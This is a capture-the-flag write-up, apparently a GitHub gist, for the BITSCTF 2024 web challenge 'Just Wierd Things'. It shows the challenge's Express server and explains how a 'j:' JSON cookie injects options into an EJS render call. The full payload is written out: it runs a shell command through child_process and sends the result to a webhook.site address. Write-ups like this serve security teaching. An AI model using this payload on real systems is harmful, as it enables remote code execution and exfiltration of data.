Skip to content

Instantly share code, notes, and snippets.

@ky28059
Last active February 18, 2024 18:08
Show Gist options
  • Save ky28059/80491a6f0250146511a945a0f8bb49c2 to your computer and use it in GitHub Desktop.
Save ky28059/80491a6f0250146511a945a0f8bb49c2 to your computer and use it in GitHub Desktop.

BITSCTF 2024 — Just Wierd Things

You have the power to change some things. Now will you be mogambro or someone else?

You might stumble across some red herrings...

We're given an express server that looks like this:

const express = require('express');
const cookieParser = require('cookie-parser');
const path = require('path');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');


const app = express();
const PORT = 3000;

app.use(cookieParser());
app.use(bodyParser.urlencoded({ extended: true }));
app.set('views', path.join(__dirname, "view"));
app.set('view engine', 'ejs');

const mainToken = "Your_Token";
const mainuser="particular_username";

app.get('/', (req, res) => {
    let mainJwt = req.cookies.jwt || {};

    try {
        let jwtHead = mainJwt.split('.');

        let jwtHeader = jwtHead[0];
        jwtHeader = Buffer.from(jwtHeader, "base64").toString('utf8');
        jwtHeader = JSON.parse(jwtHeader);
        jwtHeader = JSON.stringify(jwtHeader, null, 4);
        mainJwt = {
            header: jwtHeader
        }

        let jwtBody = jwtHead[1];
        jwtBody = Buffer.from(jwtBody, "base64").toString('utf8');
        jwtBody = JSON.parse(jwtBody);
        jwtBody = JSON.stringify(jwtBody, null, 4);
        mainJwt.body = jwtBody;

        let jwtSignature = jwtHead[2];
        mainJwt.signature = jwtSignature;
    } catch(error) {
        if (typeof mainJwt === 'object') {
            mainJwt.error = error;
        } else {
            mainJwt = {
                error: error
            };
        }
    }
    res.render('index', mainJwt);
});

app.post('/updateName', (req, res) => {
    try {
        const newName = req.body.name;
        const token = req.cookies.jwt || ""; 
        const decodedToken = jwt.decode(token);
        decodedToken.name = newName;
        const newToken = jwt.sign(decodedToken, 'randomSecretKey');
        if (newName === mainuser) {
            res.cookie('jwt', mainToken);
        }else{
            res.cookie('jwt', newToken);
        }
        res.redirect('/');
    } catch (error) {
        res.redirect('/');
    }
});



app.listen(PORT, (err) => {
    console.log(`Server is Running on Port ${PORT}`);
});

The server looks for a jwt cookie on req, and attempts to parse it as a JWT (by splitting it by ., then attempting to base 64 decode and JSON parse each component), creating an object that looks like

{
  header: '{\n    "alg": "HS256",\n    "typ": "JWT"\n}',
  body: '{\n' +
    '    "sub": "1234567890",\n' +
    '    "name": "Mike Oxfat",\n' +
    '    "iat": 1516239022\n' +
    '}',
  signature: 'l04Dmbi20P6OxKueB0euZiFFv4NoSpnwIm0HPmAR914'
}

(yes, this is the actual default JWT given in the source input.)

If there's an error at any point, the server populates mainJwt with a field containing the error object:

{
  error: TypeError: mainJwt.split is not a function
      at C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\app.js:23:31
      at Layer.handle [as handle_request] (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\layer.js:95:5)
      at next (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\route.js:137:13)
      at Route.dispatch (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\route.js:112:3)
      at Layer.handle [as handle_request] (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\layer.js:95:5)
      at C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\index.js:281:22
      at Function.process_params (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\index.js:341:12)
      at next (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\index.js:275:10)
      at urlencodedParser (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\body-parser\lib\types\urlencoded.js:91:7)
      at Layer.handle [as handle_request] (C:\Users\kevin\Downloads\justwierdthings\justwierdthings\server\node_modules\express\lib\router\layer.js:95:5)
}

Then, it passes mainJwt to res.render.

res.render('index', mainJwt);

The main idea here is that the EJS template render function is vulnerable to RCE template injection. Using a modified version of the linked payload, if we can inject an object like

{"settings":{"view options":{"outputFunctionName":"x\nfetch(`https://webhook.site/adf27505-0324-4112-9471-791221805ccb?flag=${process.mainModule.require('child_process').execSync('cat ../flag.txt').toString()}`)\ns"}}}

into res.render, we can get RCE and leak the flag.

The second main idea is that the server uses the cookie-parser middleware to parse request cookies:

app.use(cookieParser());

From the cookie-parser docs,

In addition, this module supports special “JSON cookies”. These are cookie where the value is prefixed with j:. When these values are encountered, the value will be exposed as the result of JSON.parse. If parsing fails, the original value will remain.

If we prepend our cookie value with j:, we can inject an arbitrary JSON payload into req.cookies.jwt. Then, when .split() fails, the error handler will simply attach an error field to the object, leaving our other fields intact.

Then, our final payload (to be injected via cookie) is

j:{"settings":{"view options":{"outputFunctionName":"x\nfetch(`https://webhook.site/adf27505-0324-4112-9471-791221805ccb?flag=${process.mainModule.require('child_process').execSync('cat ../flag.txt').toString()}`)\ns"}}}

Refreshing the page, we get the flag:

BITSCTF{Juggling_With_Tokens:_A_Circus_of_RCE!}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment